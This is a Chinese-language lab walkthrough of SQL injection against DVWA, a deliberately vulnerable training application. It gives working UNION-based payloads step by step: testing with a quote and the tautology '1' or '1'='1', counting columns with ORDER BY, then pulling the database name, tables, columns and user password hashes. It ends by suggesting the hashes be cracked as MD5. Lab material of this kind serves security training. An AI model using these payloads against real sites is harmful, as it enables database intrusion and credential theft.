首先使用1,2,3,4,5都会返回用户列表
然后再使用1'进行判断,发现报错,既知道存在注入漏洞
使用语句 1' and '1' ='1 的时候会出现正常:
当输入1‘ or '1'='1是,这个式子是个永真式,返回所有结果:
分析字段数(两种方法)
方法一:用order by语句。(默认是进行升序的)
分析字段数的原因是我们之后需要用unionselect语句来获得我们需要的敏感数据。根据orderby知识知道,要是后面跟着的数字超出了字段数时,就会报错!通过这个我们可以确定字段数。我们构造的payload如下:
1' order by 1#
1' order by 2#
1' order by 3#
此时 当输入到3的时候,发现它报错了,也就是说字段数为2。
方法二:直接用unionselect来猜测字段数。
因为当字段数不对应的时候,它也是会发生报错的!我们构造以下查询语句:
1' union select 1#
1' union select 1,2#
1' union select 1,2,3#
可以发现,当union select1,2,3的时候报错,union select1,2的时候没有报错,也就是说字段数为2。同时,我们也注意到,好像返回的内容中多了三条数据,这是啥呢?其实这就是我们unionselect出来的数据。这样通过查看页面,我们便可以获得数据库里面的信息了!
获取信息
字段数为2,说明数据列有两列。我们可以通过unionselect语句查出两个数据。好了,我们来获取所需要的数据库里面的信息吧!
获取当前数据库名,当前用户名
构造数据库查询语句如下所示:
1' union select database(),user()#
解释一下,database()将会返回当前网站所使用的数据库名字,user()将会返回进行当前查询的用户名。
好的,我们可以看到当前使用的数据库为:dvwa,当前的用户名:root@localhost
当mysql的版本大于5.0时,有个默认的数据库information_schema,里面存放着所有数据库的信息,比如数据库名、表名、列名等
1' and 1=2 union select 1, schema_name from information_schema.schemata; --
由此知道数据库中有6个数据库
然后使用下面的语句进行爆表
1' and 1=2 union select table_schema,table_name from information_schema.tables; -- (注意此处有空格)
现在我们知道了dvwa数据库中有两个表,分别是guestbook和users,下面我们构造SQL语句得到users表中的所有属性列
爆出列值
1' and 1=2 union select table_name, column_name from information_schema.columns; -- (--后面有一个空格)
上面的语句返回了各个表中的所有属性列,users表的结果如下:
现在我们知道了users表中的所有属性列名称了,我们可以查询自己感兴趣的东西,比如说用户的user_id和password
(4)爆密码
1' and 1=2 union select user_id,password from dvwa.uesr ; -- (注意空格)
1' and 1=2 union select user_id,password from dvwa.users; --
上面的语句返回了用户ID和其对应的密码,结果如下:
然后就是使用md5进行解密了
以上部分内容参照互联网部分数据